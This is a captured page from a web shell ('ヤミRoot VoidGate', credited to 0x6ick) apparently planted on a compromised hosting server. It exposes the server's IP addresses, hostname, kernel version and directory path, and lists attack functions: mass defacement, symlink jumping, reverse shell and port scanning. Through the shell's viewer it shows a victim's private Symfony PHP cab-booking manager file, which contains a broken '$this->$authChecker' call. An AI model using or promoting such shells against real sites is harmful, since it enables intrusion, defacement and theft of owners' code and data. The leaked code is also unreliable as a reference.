ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: CabBookingManager.php
<?php namespace AppBundle\Manager; use Doctrine\ORM\EntityManager; use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage; use Symfony\Component\Security\Core\Authorization\AuthorizationChecker; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Symfony\Component\HttpKernel\Exception\NotFoundHttpException; use AppBundle\Entity\Cab; use AppBundle\Entity\CabBooking; use AppBundle\Entity\Customer; class CabBookingManager extends AbstractResourceManager { private $repository = 'AppBundle:CabBooking'; private $tokenStorage; private $authChecker; public function __construct(EntityManager $manager,TokenStorage $tokenStorage, AuthorizationChecker $authChecker) { parent::__construct($manager); $this->tokenStorage = $tokenStorage; $this->authChecker = $authChecker; } public function createNewCabBooking(Cab $cab, CabBooking $newCabBooking) { // TODO: if( $this->isCabFreeForNewBooking( $cab,$newCabBooking)){ return $this->_registerCabBooking($cab, $newCabBooking, true); }else throw new BadRequestHttpException('Cab not free at that time.'); } public function updateCabBooking($oldCabBookingId, $newCab, CabBooking $newCabBooking) { // TODO: $oldCabBooking = $this->getOneCabBooking($oldCabBookingId); $isAllowed = false; if ($newCab){ $isAllowed = $this->isCabFreeForNewBooking($newCab, $newCabBooking); if ($isAllowed){ $newCabBooking->setCustomer($oldCabBooking->getCustomer()); //merging if( $newCabBooking->getWithDriver()) $oldCabBooking->setWithDriver($newCabBooking->getWithDriver()); if( $newCabBooking->getStartTime()) $oldCabBooking->setStartTime($newCabBooking->getStartTime()); if( $newCabBooking->getDuration()) $oldCabBooking->setDuration($newCabBooking->getDuration()); return $this->_registerCabBooking($newCab, $oldCabBooking, true); }else throw new BadRequestHttpException('Unable to update the booking to that date. The new Cab will be busy'); }else{ $isAllowed = $this ->isCabFreeForNewBooking($oldCabBooking->getCab(), $newCabBooking, $oldCabBooking); if ($isAllowed){ //merging if( $newCabBooking->getWithDriver()) $oldCabBooking->setWithDriver($newCabBooking->getWithDriver()); if( $newCabBooking->getStartTime()) $oldCabBooking->setStartTime($newCabBooking->getStartTime()); if( $newCabBooking->getDuration()) $oldCabBooking->setDuration($newCabBooking->getDuration()); return $this->_registerCabBooking(null, $oldCabBooking, false); } else throw new BadRequestHttpException('Unable to update the booking to that date. Cab will be busy'); } return $oldCabBooking; } public function deleteCabBooking($cabBooking, $hardDelete = false) { // TODO: perform hardDelete $cabBooking->setIsActive(false); return $this->_registerCabBooking(null, $cabBooking); } public function getOneCabBooking($cabBookingId, $showInactive = false) { $cabBooking = $this ->manager ->getRepository($this->repository) ->find($cabBookingId); if ($cabBooking == null ) throw new NotFoundHttpException('CabBooking not found: ( with cabBookingId = '.$cabBookingId . ')'); if ($cabBooking->getIsActive() == true) return $cabBooking; // if not active if( $this->authChecker->isGranted('ROLE_OPERATOR') AND $showInactive == true) return $cabBooking; throw new NotFoundHttpException('CabBooking not found: ( with cabBookingId = '.$cabBookingId . ')'); } public function getCabBookings($companyId, $customerId, $cabId, $startTime, $duration, $withDriver, $isActive) { return $this ->manager ->getRepository($this->repository) ->search($companyId, $customerId, $cabId, $startTime, $duration, $withDriver, $isActive); } /** * Check if a Cab is available for a new booking. * @param Cab $cab: the concerned cab * @param $newCabBookin: the CabBooking object containing all the required informations to perform a booking. */ public function isCabFreeForNewBooking(Cab $cab, CabBooking $newCabBooking, CabBooking $oldCabBooking = null) { $concurrentBookings = $this->manager ->getRepository($this->repository) ->getConcurentBookings($cab,$newCabBooking); //remove the actual booking from the list too if($oldCabBooking) foreach( $concurrentBookings as $key =>$booking) { if($booking == $oldCabBooking) unset($concurrentBookings[$key]); } if(empty($concurrentBookings)) return true; else return false; } private function _registerCabBooking($cab, $cabBooking,$new = false) { if( $new ){ $cabBooking->setCab($cab); $this->manager->persist($cabBooking); } $this->manager->flush(); return $cabBooking; } private function _controlUserRights($cabBooking) { if($this->$authChecker->isGranted('ROLE_SUPER_ADMIN')) return true; else{ $user = $this->tokenStorage->getToken()->getUser(); if( $this->$authChecker->isGranted('ROLE_OPERATOR') AND $user->getCompany() == $cabBooking->getCab()->getCompany()) return true; if ($this->$authChecker->isGranted('ROLE_CUSTOMER') OR $user == $cabBooking->getCustomer() )return true; } return false; } }
Coded With 💗 by
0x6ick